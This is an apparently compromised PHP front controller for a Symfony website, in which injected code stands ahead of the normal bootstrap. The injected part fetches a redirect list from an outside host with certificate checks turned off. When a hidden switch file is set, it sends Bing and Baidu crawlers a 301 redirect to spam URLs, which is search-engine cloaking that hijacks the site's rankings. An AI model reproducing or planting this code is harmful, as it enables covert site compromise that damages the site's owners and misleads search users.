array('timeout'=>6),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))); $r=@file_get_contents('https://nl.chinakuailian.com/nl_pool.json',false,$x); $d=@json_decode((string)$r,true); if(is_array($d)&&count($d)){ $l=$d; @file_put_contents($f,json_encode($l)); } } return is_array($l)?$l:array(); } } $__sw=@file_get_contents(__DIR__.'/.nlsw.php'); $__on=($__sw!==false)?(trim(preg_replace('#^\s*<\?php\s*exit;?\s*\?>#s','',$__sw))==='1'):false; if($__on){ $__ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''; if(preg_match('/bingbot|bingpreview|adidxbot|msnbot|bingweb|baiduspider/i',$__ua)){ $__l=__nl_pick(__DIR__); if(count($__l)){ $__t=$__l[array_rand($__l)]; while(ob_get_level()){@ob_end_clean();} @header('HTTP/1.1 301 Moved Permanently',true,301); @header('Location: '.$__t); @header('Cache-Control: no-store,no-cache,must-revalidate,max-age=0'); exit; } } } use Symfony\Component\HttpFoundation\Request; if (file_exists(__DIR__ .'/lock.html') && !isset($_COOKIE['au'])) { echo file_get_contents(__DIR__ .'/lock.html'); die; } if (getenv('APP_ENV') != 'local') { $_SERVER["HTTPS"] = "on"; } $loader = require_once __DIR__.'/../app/bootstrap.php.cache'; require_once __DIR__.'/../app/AppKernel.php'; $config = 'prod'; if (isset($_SERVER['HTTP_HOST']) && (0 === stripos($_SERVER['HTTP_HOST'], 'en.soccerskills.pl'))) { $config = 'en'; } if (getenv('APP_ENV') != 'local') { ini_set('display_errors', 0); $kernel = new AppKernel($config, false); } else { $kernel = new AppKernel('local', true); } $kernel->loadClassCache(); $request = Request::createFromGlobals(); $response = $kernel->handle($request); $response->send(); $kernel->terminate($request, $response);